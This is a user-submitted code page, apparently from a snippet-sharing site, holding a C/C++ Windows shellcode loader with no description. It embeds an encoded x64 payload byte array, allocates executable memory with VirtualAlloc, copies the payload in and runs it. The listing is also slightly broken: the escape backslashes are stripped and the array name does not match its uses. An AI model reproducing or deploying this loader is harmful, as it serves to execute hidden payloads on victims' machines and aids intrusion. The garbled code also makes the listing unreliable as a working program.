Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  n
Language: C/C++
Code:
#include "stdafx.h"
#include "Windows.h"

int main()
{
     unsigned char buf[] = 
     "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
     "xffxffx48xbbx83x15x57xd6xc8x99x59x1bx48x31x58"
     "x27x48x2dxf8xffxffxffxe2xf4x7fx5dxd4x32x38x71"
     "x99x1bx83x15x16x87x89xc9x0bx4axd5x5dx66x04xad"
     "xd1xd2x49xe3x5dxdcx84xd0xd1xd2x49xa3x5dxdcxa4"
     "x98xd1x56xacxc9x5fx1axe7x01xd1x68xdbx2fx29x36"
     "xaaxcaxb5x79x5ax42xdcx5ax97xc9x58xbbxf6xd1x54"
     "x06x9ex43xcbx79x90xc1x29x1fxd7x18x12xd9x93x83"
     "x15x57x9ex4dx59x2dx7cxcbx14x87x86x43xd1x41x5f"
     "x08x55x77x9fxc9x49xbax4dxcbxeax9ex97x43xadxd1"
     "x53x82xc3x1axe7x01xd1x68xdbx2fx54x96x1fxc5xd8"
     "x58xdaxbbxf5x22x27x84x9ax15x3fx8bx50x6ex07xbd"
     "x41x01x5fx08x55x73x9fxc9x49x3fx5ax08x19x1fx92"
     "x43xd9x45x52x82xc5x16x5dxccx11x11x1ax53x54x0f"
     "x97x90xc7x00x41xc2x4dx16x8fx89xc3x11x98x6fx35"
     "x16x84x37x79x01x5axdax4fx1fx5dxdax70x0exe4x7c"
     "xeax0ax9fx76xeex2ax29xdcx26x65xd6xc8xd8x0fx52"
     "x0axf3x1fx57x24x39x58x1bx83x5cxdex33x81x25x5b"
     "x1bx57x24x7axf6xaexdcx18x4fxcax9cxb3x9ax41x68"
     "x18xa1xcfx62x71xd1x37x4cx15x92x69x7dx56xd7xc8"
     "x99x00x5ax39x3cxd7xbdxc8x66x8cx4bxd3x58x66x1f"
     "x85xa8x99x53x7cxd5x1fx5fx0axd1xa6xdbxcbx9cx96"
     "x97x72x73x56xc4x63xeax82x9ex41x5ex33x0bxc2x4d"
     "x1bx5fx2axd1xd0xe2xc2xafxcex73xbcxf8xa6xcexcb"
     "x94x93x96xcax99x59x52x3bx76x3axb2xc8x99x59x1b"
     "x83x54x07x97x98xd1xd0xf9xd4x42x00x9bxf9x59x33"
     "x16xdax54x07x34x34xffx9ex5fxa7x41x56xd7x80x14"
     "x1dx3fx9bxd3x57xbex80x10xbfx4dxd3x54x07x97x98"
     "xd8x09x52x7cxd5x16x86x81x66x91x56x0axd4x1bx5f"
     "x09xd8xe3x62x4fx2axd1x29x1dxd1x68xc9xcbxeax9d"
     "x5dxc6xd8xe3x13x04x08x37x29x1dx22xa9xaex21x43"
     "x16x6cx6ex0cxe4x86x7cxc0x1fx55x0cxb1x65x1dxff"
     "x1fxd7x2dx28xecx5cxa0xc4x06x25xb9xa2x99x00x5a"
     "x0axcfxa8x03xc8x99x59x1b";

     void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     memcpy(exec, shellcode, sizeof shellcode);
     ((void(*)())exec)();

    return 0;
}

          
          
Comments: